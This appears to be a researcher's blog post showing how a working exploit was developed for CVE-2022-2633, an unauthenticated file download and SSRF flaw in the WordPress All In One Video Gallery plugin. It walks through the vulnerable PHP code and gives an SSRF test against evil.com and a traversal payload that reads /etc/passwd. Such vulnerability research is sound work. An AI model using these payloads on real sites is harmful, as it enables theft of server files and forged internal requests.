Finding exploit for CVE-2022-2633

Hi, I hope you all are doing good. This blog post is related to CVE-2022-2633 that how I found a working exploit for this.

I was doing some google search for CVEs which does not have any publicly disclosed exploit so I found CVE-2022-2633 which is an Unauthenticated Arbitrary File Download & SSRF vulnerability in WordPress All In One Video Gallery Plugin.

So, I started with the reading the description of CVE-2022-2633.

The All-in-One Video Gallery plugin for WordPress is vulnerable to arbitrary file downloads and blind server-side request forgery via the ‘dl’ parameter found in the ~/public/video.php file in versions up to, and including 2.6.0. This makes it possible for unauthenticated users to download sensitive files hosted on the affected server and forge requests to the server.

Now, we have a name of parameter and file which contains the vulnerable code. I installed the vulnerable version of All In One Video Gallery Plugin i:e., 2.6.0.

image

I started with ‘public/video.php’ file, I searched for ‘$_GET[‘dl’]’ and found that ‘download_video’ function is using this to get the ‘dl’ parameter from URL.

image

I started with understanding the code line by line.

public function download_video() {
if ( ! isset( $_GET['dl'] ) ) {
	return;
}	
		
if ( is_numeric( $_GET['dl'] ) ) {
	$file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
} else {
	$file = base64_decode( $_GET['dl'] );
}

if ( empty( $file ) ) {
	die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );
	exit;
}

this above code is checking if the value of ‘dl’ parameter is a number or a word and if the value is not in number then it will deocde the value in base64 using base64_decode function and value of ‘dl’ parameter is stored in ‘$file’ variable. Last if statement will just return an error with a message i:e., ‘Download file URL is empty.’

Now, I started using the plugin as an admin user. In Burp Suite, I noticed a GET request to ‘/index.php/video/’

image

and we know that vulnerable code is in video.php. So, I decided to add a ‘dl’ parameter in this GET request and as per the code in ‘video.php’ we must get a message - ‘Download file URL is empty.’ and I also removed the cookies because this was an unauthenticated vulnerability.

image

We got the expected response. Now we have the injection point so lets understand the next code.

// Vars
$is_remote_file  = true;
$formatted_path = '';        	
$mime_type      = 'video/mp4'; 
$file_size      = '';		

// Removing spaces and replacing with %20 ascii code
$file = preg_replace( '/\s+/', '%20', trim( $file ) );  
$file = str_replace( '         ', '%20', $file );
$file = str_replace( '        ', '%20', $file );
$file = str_replace( '       ', '%20', $file );
$file = str_replace( '      ', '%20', $file );
$file = str_replace( '     ', '%20', $file );
$file = str_replace( '    ', '%20', $file );
$file = str_replace( '   ', '%20', $file );
$file = str_replace( '  ', '%20', $file );
$file = str_replace( ' ', '%20', $file );

The above code has some variable defined and then it is replacing the spaces with ‘%20’.

Exploiting server-side request forgery - SSRF

if ( preg_match( '#http://#', $file ) || preg_match( '#https://#', $file ) ) {
    $formatted_path = 'url';
} else {
	$formatted_path = 'filepath';
}

if ( $is_remote_file ) {
	$formatted_path = 'url';
}
        
if ( $formatted_path == 'url' ) {
	$file_headers = @get_headers( $file );
  
	if ( $file_headers[0] == 'HTTP/1.1 404 Not Found' ) {
		die( esc_html__( 'File is not readable or not found.', 'all-in-one-video-gallery' ) );
		exit;
	}          
} elseif ( $formatted_path == 'filepath' ) {		
    if ( ! @is_readable( $file ) ) {
		die( esc_html__( 'File is not readable or not found.', 'all-in-one-video-gallery' ) );
		exit;
	}
}

In above code, first if statement is checking that the value of ‘dl’ parameter contains the ‘http://’ or ‘https://’ or not. If the ‘file’ parameter has ‘http://’ or ‘https://’ then it will make a request to that URL using cURL library.

// Fetching File Size Located in Remote Server
if ( $is_remote_file && $formatted_path == 'url' ) {         
	$data = @get_headers( $file, true );
          
if ( ! empty( $data['Content-Length'] ) ) {
	$file_size = (int) $data[ 'Content-Length' ];          
} else {               
	// If get_headers fails then try to fetch fileSize with curl
	$ch = @curl_init();

	if ( ! @curl_setopt( $ch, CURLOPT_URL, $file ) ) {
		@curl_close( $ch );
		@exit;
	}
               
	@curl_setopt( $ch, CURLOPT_NOBODY, true );
	@curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
	@curl_setopt( $ch, CURLOPT_HEADER, true );
	@curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
	@curl_setopt( $ch, CURLOPT_MAXREDIRS, 3 );
	@curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 10 );
	@curl_exec( $ch );
               
	if ( ! @curl_errno( $ch ) ) {
		$http_status = (int) @curl_getinfo( $ch, CURLINFO_HTTP_CODE );
		if ( $http_status >= 200 && $http_status <= 300 )
			$file_size = (int) @curl_getinfo( $ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD );
		}

		@curl_close( $ch );               
	}          
} 

This above code is making a request to value of ‘dl’ parameter if it contains the ‘http://’ or ‘https://’ and value of ‘$is_remote_file’ is ‘true’ and by default the value of this is ‘true’ so to make a request to any domain we just need to give the URL in base64 encoding.

I encoded ‘http://evil.com’ in base64 and sent the request.

image

Got the response as expected and here we have exploited SSRF.

Exploiting Unauthenticated Arbitrary File Download

We have to give a filename to download but here it has a check which we need to bypass for exploitation.

// Detect the file type
if ( strpos( $file, home_url() ) !== false ) {
	$is_remote_file = false;
}		        		
          
if ( preg_match( '#http://#', $file ) || preg_match( '#https://#', $file ) ) {
    $formatted_path = 'url';
} else {
	$formatted_path = 'filepath';
}

if ( $is_remote_file ) {
	$formatted_path = 'url';
}

In 3rd if statement, It is checking that if value of ‘$is_remote_file’ is true then it will set ‘$formatted_path’ to ‘url’.

if ( $is_remote_file && $formatted_path == 'url' ) {         
	$data = @get_headers( $file, true );
          
if ( ! empty( $data['Content-Length'] ) ) {
	$file_size = (int) $data[ 'Content-Length' ];          
	} else {               
		// If get_headers fails then try to fetch fileSize with curl
		$ch = @curl_init();
		if ( ! @curl_setopt( $ch, CURLOPT_URL, $file ) ) {
            @curl_close( $ch );
            @exit;
        }
               
        @curl_setopt( $ch, CURLOPT_NOBODY, true );
        @curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
        @curl_setopt( $ch, CURLOPT_HEADER, true );
        @curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
        @curl_setopt( $ch, CURLOPT_MAXREDIRS, 3 );
        @curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 10 );
        @curl_exec( $ch );
               
		if ( ! @curl_errno( $ch ) ) {
			$http_status = (int) @curl_getinfo( $ch, CURLINFO_HTTP_CODE );
			if ( $http_status >= 200 && $http_status <= 300 )
				$file_size = (int) @curl_getinfo( $ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD );
			}
			@curl_close( $ch );               
	}  

if both conditions i:e., value of ‘$is_remote_file’ is true and ‘$formatted_path’ is ‘url’ are fullfiled then it will make a request using cURL library else if will use ‘fopen’ function to read the file: -

// Will Download 1 MB in chunkwise
$chunk = 1 * ( 1024 * 1024 );
$nfile = @fopen( $file, 'rb' );
while ( ! feof( $nfile ) ) {                 
	print( @fread( $nfile, $chunk ) );
    @ob_flush();
    @flush();
}
@fclose( $filen );	

So, the trick is that we have to set value of ‘$is_remote_file’ to ‘false’ and we have if statement to make this value to false.

// Detect the file type
if ( strpos( $file, home_url() ) !== false ) {
	$is_remote_file = false;
}		        		
          
if ( preg_match( '#http://#', $file ) || preg_match( '#https://#', $file ) ) {
    $formatted_path = 'url';
} else {
	$formatted_path = 'filepath';
}

if ( $is_remote_file ) {
	$formatted_path = 'url';
}

In above code, first if statement is checking the occurence of ‘home_url()’ in $file varibale where ‘$file’ vairable is the value of ‘dl’ parameter and ‘home_url’ is a full URL of WordPress installation.

If ‘dl’ parameter has URL of WordPress path then value of ‘$is_remote_file’ will be ‘false’.

Now, we have to create a payload so I used a ‘file:///’ to read the file and added the URL of WordPress path to make $is_remote_file to false and then used a payload with directory traversal.

For example: We have target: http://lab.aman.local/wordpress/ which is running a wordpress at this path so I used a payload: -

file:///http://lab.aman.local/wordpress/../../../../../../etc/passwd

Encoded the payload in base64 and send the request with the payload. Got the content of ‘/etc/passwd’ in response as expected.

image

We have successfully exploited Unauthenticated Arbitrary File Download and SSRF. I also created a nuclei template for this vulnerability and you can find it here.